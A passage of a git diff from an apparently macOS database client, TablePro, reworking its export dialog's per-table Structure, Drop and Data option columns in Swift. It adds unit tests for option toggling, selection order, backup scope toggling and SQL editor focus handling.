NSUserInterfaceItemIdentifier("ExportObjectRow") let cell = outlineView.makeView(withIdentifier: identifier, owner: self) as? HostingTableCellView ?? HostingTableCellView(identifier: identifier) @@ -308,6 +374,7 @@ internal final class ExportObjectTreeCoordinator: NSObject, NSOutlineViewDataSou state: containerState(for: node), toggle: { [weak self] in self?.toggleContainer(node) } ) + .disabled(!selectionIsEnabled(for: node)) ) case .group(_, let objectKind): return AnyView( @@ -318,6 +385,7 @@ internal final class ExportObjectTreeCoordinator: NSObject, NSOutlineViewDataSou state: containerState(for: node), toggle: { [weak self] in self?.toggleContainer(node) } ) + .disabled(!selectionIsEnabled(for: node)) ) case .object(let databaseID, let objectID): guard let databaseIndex = databases.firstIndex(where: { $0.id == databaseID }), @@ -329,14 +397,9 @@ internal final class ExportObjectTreeCoordinator: NSObject, NSOutlineViewDataSou return AnyView( ExportTreeObjectRow( object: object, - offersRowScope: object.offersRowScope(on: owner.databaseType) && formatReadsRows, - optionColumns: optionColumns, - supportsOption: supportsOption, - setSelected: { [weak self] isSelected in - self?.setSelection(isSelected, databaseID: databaseID, objectID: objectID) - }, - setOption: { [weak self] index, value in - self?.setOption(index, to: value, databaseID: databaseID, objectID: objectID) + offersRowScope: object.offersRowScope(on: owner.databaseType) && owner.options.readsRows, + toggle: { [weak self] in + self?.toggleObject(databaseID: databaseID, objectID: objectID) }, setRowScope: { [weak self] scope in self?.setRowScope(scope, databaseID: databaseID, objectID: objectID) @@ -360,30 +423,6 @@ internal final class ExportObjectTreeCoordinator: NSObject, NSOutlineViewDataSou // MARK: - Selection - private var plugin: (any ExportFormatPlugin)? { - PluginManager.shared.exportPlugin(forFormat: formatId) - } - - // A format that writes structure alone ignores a row scope, so it offers none. - private var formatReadsRows: Bool { - plugin.map { !ExportFormatCatalog.writesStructureOnly($0) } ?? true - } - - private var optionColumns: [PluginExportOptionColumn] { - guard let plugin else { return [] } - return type(of: plugin).perTableOptionColumns - } - - private var defaultOptionValues: [Bool] { - plugin?.defaultTableOptionValues() ?? [] - } - - private var supportsOption: (String, PluginExportObjectKind) -> Bool { - guard let plugin else { return { _, _ in true } } - let pluginType = type(of: plugin) - return { columnId, kind in pluginType.supportsOption(columnId: columnId, for: kind) } - } - private func objects(under node: ExportOutlineNode) -> [ExportObjectItem] { switch node.kind { case .database(let databaseID): @@ -408,8 +447,21 @@ internal final class ExportObjectTreeCoordinator: NSObject, NSOutlineViewDataSou return database } - private func containerState(for node: ExportOutlineNode) -> TristateCheckbox.State { + // An object a column checkbox turned all off stays out of a tick, or click order would decide the dump. + private func selectableObjects(under node: ExportOutlineNode) -> [ExportObjectItem] { + objects(under: node).filter(owner.options.writesSomething) + } + + // A container where every loaded object writes nothing and no unread kind can arrive: a tick would + // select nothing. An object row stays enabled, since ticking it restores the format's defaults. + internal func selectionIsEnabled(for node: ExportOutlineNode) -> Bool { + if case .object = node.kind { return true } let items = objects(under: node) + return items.isEmpty || unloadedDatabase(at: node) != nil || items.contains(where: owner.options.writesSomething) + } + + internal func containerState(for node: ExportOutlineNode) -> TristateCheckbox.State { + let items = selectableObjects(under: node) guard !items.isEmpty else { return unloadedDatabase(at: node)?.selectsLoadedObjects == true ? .checked : .unchecked } @@ -418,14 +470,24 @@ internal final class ExportObjectTreeCoordinator: NSObject, NSOutlineViewDataSou return selected == items.count ? .checked : .mixed } + private func selectionState(for node: ExportOutlineNode) -> TristateCheckbox.State { + guard case .object(let databaseID, let objectID) = node.kind else { return containerState(for: node) } + return object(databaseID: databaseID, objectID: objectID)?.isSelected == true ? .checked : .unchecked + } + + private func object(databaseID: UUID, objectID: UUID) -> ExportObjectItem? { + databases.first(where: { $0.id == databaseID })?.objects.first(where: { $0.id == objectID }) + } + + private func toggleContainer(_ node: ExportOutlineNode) { + setContainer(node, selected: containerState(for: node) != .checked) + } + /// Ticking a container whose kinds are not all read yet also asks for them, and they arrive /// selected unless something in it is unticked first. - private func toggleContainer(_ node: ExportOutlineNode) { - let items = objects(under: node) + private func setContainer(_ node: ExportOutlineNode, selected turningOn: Bool) { + let items = turningOn ? selectableObjects(under: node) : objects(under: node) let unloaded = unloadedDatabase(at: node) - let turningOn = items.isEmpty - ? !(unloaded?.selectsLoadedObjects ?? true) - : items.contains { !$0.isSelected } let ids = Set(items.map(\.id)) var reloading: Set = [] if let unloaded { reloading.insert("db:\(unloaded.id.uuidString)") } @@ -447,6 +509,95 @@ internal final class ExportObjectTreeCoordinator: NSObject, NSOutlineViewDataSou normalizeOptions(for: ids) } + internal func toggleObject(databaseID: UUID, objectID: UUID) { + guard let object = object(databaseID: databaseID, objectID: objectID) else { return } + setSelection(!object.isSelected, databaseID: databaseID, objectID: objectID) + } + + // MARK: - Option columns + + private func optionCell(column index: Int, node: ExportOutlineNode, in outlineView: NSOutlineView) -> NSView? { + let label = owner.options.columns[index].label + let state: NSControl.StateValue + let isEnabled: Bool + let title: String + let action: () -> Void + switch node.kind { + case .database, .group: + guard let containerState = optionState(ofColumn: index, under: node) else { return nil } + state = containerState + isEnabled = true + title = containerTitle(of: node) + action = { [weak self] in self?.toggleOption(index, under: node) } + case .object(let databaseID, let objectID): + guard let object = object(databaseID: databaseID, objectID: objectID), + owner.options.supports(columnAt: index, kind: object.kind) + else { return nil } + let isOn = object.optionValues[safe: index] ?? owner.options.columns[index].defaultValue + state = isOn ? .on : .off + isEnabled = object.isSelected + title = object.name + action = { [weak self] in + self?.setOption(index, to: !isOn, databaseID: databaseID, objectID: objectID) + } + case .pending: + return nil + } + let cell = outlineView.makeView(withIdentifier: .exportOptionCell, owner: self) as? CheckboxTableCellView + ?? CheckboxTableCellView(identifier: .exportOptionCell) + cell.configure( + state: state, + isEnabled: isEnabled, + accessibilityLabel: String(format: String(localized: "%1$@ for %2$@"), label, title), + action: action + ) + return cell + } + + private func containerTitle(of node: ExportOutlineNode) -> String { + switch node.kind { + case .database(let databaseID): + return databases.first(where: { $0.id == databaseID })?.name ?? "" + case .group(_, let objectKind): + return ExportObjectKindPresentation.groupTitle(for: objectKind) + case .object, .pending: + return "" + } + } + + private func optionValues(ofColumn index: Int, under node: ExportOutlineNode) -> [Bool] { + let unloaded = unloadedDatabase(at: node) + return owner.options.values( + ofColumn: index, + in: objects(under: node), + unloadedKinds: unloaded?.unloadedKinds ?? [], + arriving: unloaded?.arrivingOptionValues ?? [:] + ) + } + + internal func optionState(ofColumn index: Int, under node: ExportOutlineNode) -> NSControl.StateValue? { + let values = optionValues(ofColumn: index, under: node) + guard !values.isEmpty else { return nil } + if values.allSatisfy({ $0 }) { return .on } + return values.contains(true) ? .mixed : .off + } + + // Never selects: on a container with nothing ticked it sets what each object carries once ticked. + internal func toggleOption(_ index: Int, under node: ExportOutlineNode) { + guard let state = optionState(ofColumn: index, under: node) else { return } + let turningOn = state != .on + let options = owner.options + let ids = Set(objects(under: node).filter { options.supports(columnAt: index, kind: $0.kind) }.map(\.id)) + let unloaded = unloadedDatabase(at: node).flatMap { database in + database.unloadedKinds.contains { options.supports(columnAt: index, kind: $0) } ? database : nil + } + var reloading: Set = [] + if let unloaded { reloading.insert("db:\(unloaded.id.uuidString)") } + mutateDatabases(touching: ids, reloading: reloading) { databases in + databases = databases.settingOption(index, to: turningOn, objectIDs: ids, arrivingIn: unloaded?.id) + } + } + private func setSelection(_ isSelected: Bool, databaseID: UUID, objectID: UUID) { mutateDatabases(touching: [objectID]) { databases in guard let databaseIndex = databases.firstIndex(where: { $0.id == databaseID }), @@ -461,10 +612,10 @@ internal final class ExportObjectTreeCoordinator: NSObject, NSOutlineViewDataSou /// A row selected with every one of its options off would be counted as selected and export /// nothing, so selecting it restores the format's defaults for the kinds that support them. private func normalizeOptions(for ids: Set) { - let columns = optionColumns + let columns = owner.options.columns guard !columns.isEmpty else { return } - let defaults = defaultOptionValues - let supports = supportsOption + let defaults = owner.options.defaultValues + let supports = owner.options.supports mutateDatabases(touching: ids) { databases in for databaseIndex in databases.indices { for objectIndex in databases[databaseIndex].objects.indices @@ -483,13 +634,7 @@ internal final class ExportObjectTreeCoordinator: NSObject, NSOutlineViewDataSou private func setOption(_ index: Int, to value: Bool, databaseID: UUID, objectID: UUID) { mutateDatabases(touching: [objectID]) { databases in - guard let databaseIndex = databases.firstIndex(where: { $0.id == databaseID }), - let objectIndex = databases[databaseIndex].objects.firstIndex(where: { $0.id == objectID }), - databases[databaseIndex].objects[objectIndex].optionValues.indices.contains(index) - else { return } - databases[databaseIndex].objects[objectIndex].optionValues[index] = value - databases[databaseIndex].objects[objectIndex].isSelected = - databases[databaseIndex].objects[objectIndex].optionValues.contains(true) + databases = databases.settingOption(index, to: value, objectIDs: [objectID]) } } diff --git a/apple/TablePro/Views/Export/ExportTreeBuilder.swift b/apple/TablePro/Views/Export/ExportTreeBuilder.swift index 00d3cf425e..eeaf5bfc78 100644 --- a/apple/TablePro/Views/Export/ExportTreeBuilder.swift +++ b/apple/TablePro/Views/Export/ExportTreeBuilder.swift @@ -150,6 +150,7 @@ struct ExportRowSnapshot { let kind: PluginExportObjectKind let isSelected: Bool let optionValues: [Bool] + var rowScope: PluginExportRowScope = .unrestricted } /// Builds the export dialog's container tree. @@ -191,7 +192,8 @@ struct ExportTreeBuilder { container: database.name, kind: object.kind, isSelected: object.isSelected, - optionValues: object.optionValues + optionValues: object.optionValues, + rowScope: object.rowScope ) } } @@ -443,7 +445,8 @@ struct ExportTreeBuilder { inContainer: containerRef, isCurrentContainer: isCurrentContainer ), - optionValues: priorRow?.optionValues ?? [] + optionValues: priorRow?.optionValues ?? [], + rowScope: priorRow?.rowScope ?? .unrestricted ) } } diff --git a/apple/TableProTests/Models/ExportOptionColumnTests.swift b/apple/TableProTests/Models/ExportOptionColumnTests.swift new file mode 100644 index 0000000000..e9fc462552 --- /dev/null +++ b/apple/TableProTests/Models/ExportOptionColumnTests.swift @@ -0,0 +1,219 @@ +// +// ExportOptionColumnTests.swift +// TableProTests +// + +import Foundation +@testable import TablePro +import TableProPluginKit +import Testing + +extension ExportOptionLayout { + static var sqlForTests: ExportOptionLayout { + ExportOptionLayout( + columns: [ + PluginExportOptionColumn(id: "structure", label: "Structure", width: 56), + PluginExportOptionColumn(id: "drop", label: "Drop", width: 44), + PluginExportOptionColumn(id: "data", label: "Data", width: 44) + ], + defaultValues: [true, true, true], + readsRows: true + ) { columnId, kind in + switch columnId { + case "data": return kind.carriesRows + case "drop": return kind != .grant + default: return true + } + } + } +} + +struct ExportOptionColumnTests { + private let layout = ExportOptionLayout.sqlForTests + + private func table(_ name: String, selected: Bool = true, _ values: [Bool] = [true, true, true]) -> ExportObjectItem { + ExportObjectItem(name: name, kind: .table, isSelected: selected, optionValues: values) + } + + @Test("A column's values come from the objects whose kind has it") + func valuesSkipUnsupportedKinds() { + let objects = [ + table("users", [true, true, false]), + ExportObjectItem(name: "recalc", kind: .routine, isSelected: true, optionValues: [true, true, false]) + ] + #expect(layout.values(ofColumn: 2, in: objects) == [false]) + #expect(layout.values(ofColumn: 1, in: objects) == [true, true]) + } + + @Test("No object with the column gives no values, so the container leaves the slot blank") + func noSupportingObjectGivesNoValues() { + let routines = [ExportObjectItem(name: "recalc", kind: .routine, optionValues: [true, true, false])] + #expect(layout.values(ofColumn: 2, in: routines).isEmpty) + } + + @Test("Unread kinds count with the value they will arrive with") + func unreadKindsCountWithTheirArrivingValue() { + let objects = [table("users", [true, false, true])] + #expect(layout.values(ofColumn: 1, in: objects, unloadedKinds: [.routine]) == [false, true]) + #expect(layout.values(ofColumn: 1, in: objects, unloadedKinds: [.routine], arriving: [1: false]) == [false, false]) + #expect(layout.values(ofColumn: 2, in: objects, unloadedKinds: [.routine]) == [true]) + } + + @Test("Turning a column off keeps the objects that still write something selected") + func columnOffKeepsSelection() { + let databases = [ExportDatabaseItem(name: "app", objects: [table("users"), table("orders")])] + let ids = Set(databases[0].objects.map(\.id)) + + let updated = databases.settingOption(2, to: false, objectIDs: ids) + + #expect(updated[0].objects.allSatisfy { $0.optionValues == [true, true, false] && $0.isSelected }) + } + + @Test("A selected object left with no option on is deselected") + func lastOptionOffDeselects() { + let databases = [ExportDatabaseItem(name: "app", objects: [table("users", [false, false, true])])] + + let updated = databases.settingOption(2, to: false, objectIDs: [databases[0].objects[0].id]) + + #expect(updated[0].objects[0].optionValues == [false, false, false]) + #expect(!updated[0].objects[0].isSelected) + } + + @Test("A column write never selects, and an unticked object keeps the value for when it is ticked") + func columnWriteNeverSelects() { + let databases = [ExportDatabaseItem(name: "app", objects: [table("users", selected: false)])] + + let updated = databases.settingOption(2, to: false, objectIDs: [databases[0].objects[0].id]) + + #expect(!updated[0].objects[0].isSelected) + #expect(updated[0].objects[0].optionValues == [true, true, false]) + } + + @Test("A column write reaches only the objects it names") + func columnWriteReachesOnlyNamedObjects() { + let databases = [ExportDatabaseItem(name: "app", objects: [table("users"), table("orders")])] + + let updated = databases.settingOption(2, to: false, objectIDs: [databases[0].objects[0].id]) + + #expect(updated[0].objects[1].optionValues == [true, true, true]) + } + + @Test("A container with unread kinds keeps the value for them, and only that container") + func arrivingValueIsKeptPerContainer() { + let databases = [ + ExportDatabaseItem(name: "public", objects: [table("users")]), + ExportDatabaseItem(name: "sales", objects: [table("orders")], unloadedKinds: [.routine]) + ] + + let updated = databases.settingOption(1, to: false, objectIDs: [], arrivingIn: databases[1].id) + + #expect(updated[0].arrivingOptionValues.isEmpty) + #expect(updated[1].arrivingOptionValues == [1: false]) + } + + @Test("Arrivals take the container's values over the format's defaults, for the columns their kind has") + func arrivalsTakeTheContainersValues() { + let routine = ExportObjectItem(name: "recalc", kind: .routine, isSelected: true, optionValues: [true, true, false]) + let existing = table("users") + let database = ExportDatabaseItem(name: "sales", objects: [existing, routine]) + + let updated = database.applyingOptionValues([1: false, 2: true], toObjects: [routine.id], layout: layout) + + #expect(updated.objects[0].optionValues == [true, true, true]) + #expect(updated.objects[1].optionValues == [true, false, false]) + #expect(updated.objects[1].isSelected) + } + + @Test("An arrival left with nothing to write arrives unselected") + func arrivalWithNothingOnIsDeselected() { + let routine = ExportObjectItem(name: "recalc", kind: .routine, isSelected: true, optionValues: [true, true, false]) + let database = ExportDatabaseItem(name: "sales", objects: [routine]) + + let updated = database.applyingOptionValues([0: false, 1: false], toObjects: [routine.id], layout: layout) + + #expect(!updated.objects[0].isSelected) + } + + @Test("The merge consumes the arriving values, a reload keeps them and a format change clears them") + func arrivingValuesLifecycle() { + var database = ExportDatabaseItem(name: "sales", objects: [table("orders")], unloadedKinds: [.routine]) + database.arrivingOptionValues = [1: false] + + #expect(database.withID(UUID()).arrivingOptionValues == [1: false]) + #expect(database.mergingLoadedObjects([]).arrivingOptionValues.isEmpty) + #expect([database].resettingOptionValues(to: [true, true, true])[0].arrivingOptionValues.isEmpty) + } + + @Test("Arrivals take the kept values after the format's defaults fill in their empty lists") + func mergeAppliesKeptValuesAfterNormalizing() throws { + let orders = table("orders") + var database = ExportDatabaseItem(name: "sales", objects: [orders], unloadedKinds: [.routine, .view]) + database.selectsLoadedObjects = true + database.arrivingOptionValues = [1: false] + let loaded = [ + ExportObjectItem(name: "recalc", kind: .routine), + ExportObjectItem(name: "active_orders", kind: .view) + ] + + let merged = try #require(database.mergingLoadedObjects(loaded, layout: layout)) + + #expect(merged.objects[0].optionValues == [true, true, true]) + #expect(merged.objects.dropFirst().allSatisfy { $0.optionValues == [true, false, false] && $0.isSelected }) + #expect(merged.arrivingOptionValues.isEmpty) + } + + @Test("A tick that skipped an object writing nothing still brings the unread kinds in selected") + func arrivalsSelectedPastAnAllOffObject() throws { + var database = ExportDatabaseItem( + name: "sales", + objects: [table("orders"), ExportObjectItem(name: "v", kind: .view, optionValues: [false, false, false])], + unloadedKinds: [.routine] + ) + database.selectsLoadedObjects = true + + let merged = try #require(database.mergingLoadedObjects([ExportObjectItem(name: "recalc", kind: .routine)], layout: layout)) + + #expect(merged.objects.first { $0.name == "recalc" }?.isSelected == true) + #expect(merged.objects.first { $0.name == "v" }?.isSelected == false) + } + + @Test("A read that finds nothing leaves no container") + func mergeOfNothingIsNil() { + let database = ExportDatabaseItem(name: "empty", objects: [], unloadedKinds: [.routine]) + #expect(database.mergingLoadedObjects([], layout: layout) == nil) + } + + @Test("Narrowing records the kinds that are left, so widening again reads them back") + func narrowThenWidenReloads() { + let sqlKinds: Set = [.table, .view, .routine, .trigger] + let csvKinds: Set = [.table, .view] + + let toCSV = ExportKindReconciliation.next(loadedKinds: sqlKinds, wanted: csvKinds) + #expect(toCSV == .narrowed(loadedKinds: csvKinds)) + guard case .narrowed(let left) = toCSV else { return } + #expect(ExportKindReconciliation.next(loadedKinds: left, wanted: sqlKinds) == .reload) + } + + @Test("Nothing loaded yet means the load in flight decides the kinds") + func reconcileBeforeTheFirstLoadDoesNothing() { + #expect(ExportKindReconciliation.next(loadedKinds: [], wanted: [.table]) == .unchanged) + #expect(ExportKindReconciliation.next(loadedKinds: [.table], wanted: [.table]) == .unchanged) + } + + @Test("A profile's options survive being applied over a tree reset for its format") + func profileKeepsItsOptions() { + let users = table("users", selected: false) + let profile = ExportProfile(name: "Schema only", formatId: "sql", entries: [ + ExportProfile.Entry( + container: "app", name: "users", kind: .table, + optionValues: [true, false, false], rowScope: .unrestricted + ) + ]) + let reset = [ExportDatabaseItem(name: "app", objects: [users])].resettingOptionValues(to: layout.defaultValues) + + let applied = reset.applyingProfile(profile, layout: layout, databaseType: .postgresql) + + #expect(applied[0].objects[0].isSelected) + #expect(applied[0].objects[0].optionValues == [true, false, false]) + } +} diff --git a/apple/TableProTests/ViewModels/BackupScopeModelTests.swift b/apple/TableProTests/ViewModels/BackupScopeModelTests.swift index 635db32703..8e345ee86e 100644 --- a/apple/TableProTests/ViewModels/BackupScopeModelTests.swift +++ b/apple/TableProTests/ViewModels/BackupScopeModelTests.swift @@ -106,6 +106,27 @@ struct BackupScopeModelTests { #expect(scopes[0].scope.objects.map(\.name) == ["carts"]) } + @Test("Space over a database and its objects unticks them once instead of flipping the objects back") + func spaceOverNestedRowsActsOnce() { + let rows = [row("sales", selected: true, objects: [("orders", true), ("carts", true)])] + let toggled = BackupScopeModel.toggling( + [.database("sales"), .object("orders", database: "sales"), .object("carts", database: "sales")], + in: rows + ) + #expect(!toggled[0].isSelected) + #expect(toggled[0].objects.allSatisfy { !$0.isSelected }) + } + + @Test("Space over rows in different states turns them all on") + func spaceOverMixedSelectionTurnsAllOn() { + let rows = [ + row("sales", selected: true, objects: [("orders", true)]), + row("billing", selected: false) + ] + let toggled = BackupScopeModel.toggling([.database("sales"), .database("billing")], in: rows) + #expect(toggled.allSatisfy { $0.isSelected }) + } + @Test("The footer counts files for a run and objects for a narrowed one") func summaryText() { let whole = [row("sales", selected: true)] diff --git a/apple/TableProTests/Views/Editor/SQLEditorFocusClaimTests.swift b/apple/TableProTests/Views/Editor/SQLEditorFocusClaimTests.swift new file mode 100644 index 0000000000..14e7011437 --- /dev/null +++ b/apple/TableProTests/Views/Editor/SQLEditorFocusClaimTests.swift @@ -0,0 +1,85 @@ +// Query tabs share one editor, so a new tab's focus claim reaches an editor that is already in the window. + +import AppKit +import SwiftUI +import TableProEditorKit +import TableProTestSupport +import Testing + +@testable import TablePro + +@MainActor +struct SQLEditorFocusClaimTests { + private final class Model { + var text = "SELECT 1;" + var cursorPositions: [CursorPosition] = [] + } + + private final class FocusableView: NSView { + override var acceptsFirstResponder: Bool { true } + } + + private func input(_ model: Model, tabID: UUID, claimFocus: Bool) -> SQLEditorInput { + var input = SQLEditorInput( + text: Binding(get: { model.text }, set: { model.text = $0 }), + cursorPositions: Binding(get: { model.cursorPositions }, set: { model.cursorPositions = $0 }), + databaseType: .sqlite, + tabID: tabID + ) + input.claimFocusOnAppear = claimFocus + return input + } + + private func mount(_ editor: SQLEditorController) -> (NSWindow, FocusableView) { + let window = NSWindow( + contentRect: NSRect(x: 0, y: 0, width: 600, height: 400), + styleMask: [.titled], + backing: .buffered, + defer: false + ) + window.isReleasedWhenClosed = false + let content = NSView(frame: NSRect(x: 0, y: 0, width: 600, height: 400)) + let sidebar = FocusableView(frame: NSRect(x: 0, y: 0, width: 200, height: 400)) + let editorView = editor.textViewController.view + editorView.frame = NSRect(x: 200, y: 0, width: 400, height: 400) + content.addSubview(sidebar) + content.addSubview(editorView) + window.contentView = content + return (window, sidebar) + } + + private func showEditorWithFocusElsewhere(_ model: Model) async throws -> (SQLEditorController, NSWindow, NSView) { + let editor = SQLEditorController(input: input(model, tabID: UUID(), claimFocus: false)) + let (window, sidebar) = mount(editor) + let textView = try #require(editor.textViewController.textView) + try await waitUntil { window.firstResponder === textView } + _ = window.makeFirstResponder(sidebar) + try #require(window.firstResponder === sidebar) + return (editor, window, textView) + } + + @Test("A new tab that claims focus takes it from the view holding it, in an editor already shown") + func claimTakesFocusInAShownEditor() async throws { + let model = Model() + let (editor, window, textView) = try await showEditorWithFocusElsewhere(model) + defer { editor.teardown() } + defer { window.orderOut(nil) } + + editor.apply(input(model, tabID: UUID(), claimFocus: true)) + + #expect(window.firstResponder === textView) + } + + @Test("A tab shown without a claim leaves focus where it is") + func noClaimKeepsFocus() async throws { + let model = Model() + let (editor, window, _) = try await showEditorWithFocusElsewhere(model) + defer { editor.teardown() } + defer { window.orderOut(nil) } + let holder = window.firstResponder + + editor.apply(input(model, tabID: UUID(), claimFocus: false)) + + #expect(window.firstResponder === holder) + } +} diff --git a/apple/TableProTests/Views/Export/ExportObjectTreeCoordinatorTests.swift b/apple/TableProTests/Views/Export/ExportObjectTreeCoordinatorTests.swift index bf4219cfe5..5cbf4f0e35 100644 --- a/apple/TableProTests/Views/Export/ExportObjectTreeCoordinatorTests.swift +++ b/apple/TableProTests/Views/Export/ExportObjectTreeCoordinatorTests.swift @@ -20,7 +20,7 @@ struct ExportObjectTreeCoordinatorTests { let outlineView = NSOutlineView() var coordinator: ExportObjectTreeCoordinator? - init() { + init(options: ExportOptionLayout = .none) { let column = NSTableColumn(identifier: NSUserInterfaceItemIdentifier("ExportObjectColumn")) outlineView.addTableColumn(column) outlineView.outlineTableColumn = column @@ -29,6 +29,7 @@ struct ExportObjectTreeCoordinatorTests { let view = ExportObjectTreeView( databaseItems: Binding(get: { self.items }, set: { self.items = $0 }), formatId: "sql", + options: options, databaseType: .postgresql, loadColumns: { _ in [] }, onNeedsObjects: { self.requests.append($0) } @@ -54,6 +55,11 @@ struct ExportObjectTreeCoordinatorTests { func node(of identity: String) -> ExportOutlineNode? { row(of: identity).flatMap { outlineView.item(atRow: $0) as? ExportOutlineNode } } + + func pressSpace(on node: ExportOutlineNode) { + outlineView.selectRowIndexes(IndexSet(integer: outlineView.row(forItem: node)), byExtendingSelection: false) + coordinator?.toggleSelectedRows() + } } private static func table(_ name: String, in schema: String) -> ExportObjectItem { @@ -149,4 +155,220 @@ struct ExportObjectTreeCoordinatorTests { #expect(selectable == false) } + + private static func sqlTree() -> ExportDatabaseItem { + ExportDatabaseItem( + name: "app", + objects: [ + ExportObjectItem(name: "users", kind: .table, isSelected: true, optionValues: [true, true, true]), + ExportObjectItem(name: "orders", kind: .table, isSelected: true, optionValues: [true, true, true]) + ], + isExpanded: true + ) + } + + @Test("A database's Data checkbox turns Data off for every table under it and keeps them selected") + func databaseOptionCheckboxSetsTheColumn() throws { + let harness = Harness(options: .sqlForTests) + let database = Self.sqlTree() + harness.apply([database]) + let node = try #require(harness.node(of: "db:\(database.id.uuidString)")) + + harness.coordinator?.toggleOption(2, under: node) + + let updated = try #require(harness.items.first) + #expect(updated.objects.allSatisfy { $0.optionValues == [true, true, false] && $0.isSelected }) + } + + @Test("A mixed column turns on for every object on the first click") + func mixedColumnTurnsOn() throws { + let harness = Harness(options: .sqlForTests) + var database = Self.sqlTree() + database.objects[0].optionValues = [true, false, true] + harness.apply([database]) + let node = try #require(harness.node(of: "db:\(database.id.uuidString)")) + + harness.coordinator?.toggleOption(1, under: node) + + let updated = try #require(harness.items.first) + #expect(updated.objects.allSatisfy { $0.optionValues == [true, true, true] }) + } + + @Test("A column set on a schema with unread kinds is kept for them") + func columnOnAPendingSchemaIsKeptForArrivals() throws { + let harness = Harness(options: .sqlForTests) + let (publicSchema, sales) = Self.realTree() + harness.apply([publicSchema, sales]) + let node = try #require(harness.node(of: "db:\(sales.id.uuidString)")) + + harness.coordinator?.toggleOption(1, under: node) + + let updated = try #require(harness.items.first { $0.id == sales.id }) + #expect(updated.arrivingOptionValues == [1: false]) + #expect(harness.requests.isEmpty) + } + + @Test("Space over a database and its tables unticks everything once instead of flipping it back") + func spaceOverNestedRowsActsOnce() throws { + let harness = Harness(options: .sqlForTests) + let database = Self.sqlTree() + harness.apply([database]) + harness.outlineView.selectRowIndexes(IndexSet(integersIn: 0 ..< harness.outlineView.numberOfRows), byExtendingSelection: false) + + harness.coordinator?.toggleSelectedRows() + + let updated = try #require(harness.items.first) + #expect(updated.objects.allSatisfy { !$0.isSelected }) + } + + @Test("Each option column gets a real table column with a heading, and a format without columns has none") + func optionColumnsAreTableColumns() { + let withColumns = Harness(options: .sqlForTests) + withColumns.apply([Self.sqlTree()]) + #expect(withColumns.outlineView.tableColumns.map(\.title).dropFirst() == ["Structure", "Drop", "Data"]) + #expect(withColumns.outlineView.headerView != nil) + + let without = Harness() + without.apply([Self.sqlTree()]) + #expect(without.outlineView.tableColumns.count == 1) + #expect(without.outlineView.headerView == nil) + } + + @Test("A group whose kind has no Data column leaves that cell empty") + func unsupportedColumnHasNoContainerState() throws { + let harness = Harness(options: .sqlForTests) + let database = ExportDatabaseItem(name: "app", objects: [ + ExportObjectItem(name: "users", kind: .table, isSelected: true, optionValues: [true, true, true]), + ExportObjectItem(name: "recalc", kind: .routine, isSelected: true, optionValues: [true, true, false]) + ]) + harness.apply([database]) + let routines = try #require(harness.node(of: "group:\(database.id.uuidString):\(PluginExportObjectKind.routine.rawValue)")) + + #expect(harness.coordinator?.optionState(ofColumn: 2, under: routines) == nil) + #expect(harness.coordinator?.optionState(ofColumn: 1, under: routines) == .on) + } + + @Test("Clicking an object's checkbox only includes or excludes it, whatever its options") + func objectCheckboxIsSelectionOnly() throws { + let harness = Harness(options: .sqlForTests) + var database = Self.sqlTree() + database.objects[0].optionValues = [true, false, false] + harness.apply([database]) + + harness.coordinator?.toggleObject(databaseID: database.id, objectID: database.objects[0].id) + + let updated = try #require(harness.items.first?.objects.first) + #expect(!updated.isSelected) + #expect(updated.optionValues == [true, false, false]) + } + + /// Without it, Structure and Drop off before the tick handed views and routines the format's + /// defaults back, and a data-only export wrote their DDL. + @Test("Turning columns off before or after ticking the database gives the same export") + func clickOrderDoesNotChangeTheExport() throws { + func tree() -> ExportDatabaseItem { + ExportDatabaseItem(name: "app", objects: [ + ExportObjectItem(name: "users", kind: .table, optionValues: [true, true, true]), + ExportObjectItem(name: "active_users", kind: .view, optionValues: [true, true, false]) + ]) + } + func export(_ steps: (Harness, ExportObjectTreeCoordinator, ExportOutlineNode) -> Void) throws -> [String] { + let harness = Harness(options: .sqlForTests) + let database = tree() + harness.apply([database]) + let node = try #require(harness.node(of: "db:\(database.id.uuidString)")) + let coordinator = try #require(harness.coordinator) + steps(harness, coordinator, node) + let objects = try #require(harness.items.first).objects + return objects.filter { $0.isSelected }.map { "\($0.name)=\($0.optionValues)" } + } + + let tickFirst = try export { harness, coordinator, node in + harness.pressSpace(on: node) + coordinator.toggleOption(0, under: node) + coordinator.toggleOption(1, under: node) + } + let tickLast = try export { harness, coordinator, node in + coordinator.toggleOption(0, under: node) + coordinator.toggleOption(1, under: node) + harness.pressSpace(on: node) + } + + #expect(tickFirst == ["users=[false, false, true]"]) + #expect(tickLast == tickFirst) + } + + @Test("A group whose every option is off cannot be ticked, so its objects stay out") + func allOffGroupStaysOut() throws { + let harness = Harness(options: .sqlForTests) + let database = ExportDatabaseItem(name: "app", objects: [ + ExportObjectItem(name: "users", kind: .table, isSelected: true, optionValues: [true, true, true]), + ExportObjectItem(name: "recalc", kind: .routine, optionValues: [true, true, false]) + ]) + harness.apply([database]) + let identity = "group:\(database.id.uuidString):\(PluginExportObjectKind.routine.rawValue)" + let routines = try #require(harness.node(of: identity)) + let coordinator = try #require(harness.coordinator) + coordinator.toggleOption(0, under: routines) + coordinator.toggleOption(1, under: routines) + + harness.pressSpace(on: try #require(harness.node(of: identity))) + + let routine = try #require(harness.items.first?.objects.first { $0.kind == .routine }) + #expect(!routine.isSelected) + #expect(!coordinator.selectionIsEnabled(for: routines)) + } + + @Test("A group that cannot be ticked does not keep Space from unticking the rows selected with it") + func spaceIgnoresAnAllOffGroup() throws { + let harness = Harness(options: .sqlForTests) + let database = ExportDatabaseItem(name: "app", objects: [ + ExportObjectItem(name: "users", kind: .table, isSelected: true, optionValues: [true, true, true]), + ExportObjectItem(name: "recalc", kind: .routine, optionValues: [false, false, false]) + ]) + harness.apply([database]) + let tables = try #require(harness.row(of: "group:\(database.id.uuidString):\(PluginExportObjectKind.table.rawValue)")) + let routines = try #require(harness.row(of: "group:\(database.id.uuidString):\(PluginExportObjectKind.routine.rawValue)")) + harness.outlineView.selectRowIndexes(IndexSet([tables, routines]), byExtendingSelection: false) + + harness.coordinator?.toggleSelectedRows() + + let users = try #require(harness.items.first?.objects.first { $0.name == "users" }) + #expect(!users.isSelected) + } + + @Test("Space ticks an object whose options are all off, as a click does, back to the defaults") + func spaceTicksAnAllOffObject() throws { + let harness = Harness(options: .sqlForTests) + var database = Self.sqlTree() + database.objects[0].isSelected = false + database.objects[0].optionValues = [false, false, false] + harness.apply([database]) + let identity = "obj:\(database.id.uuidString):\(database.objects[0].id.uuidString)" + + harness.pressSpace(on: try #require(harness.node(of: identity))) + + let users = try #require(harness.items.first?.objects.first) + #expect(users.isSelected) + #expect(users.optionValues == [true, 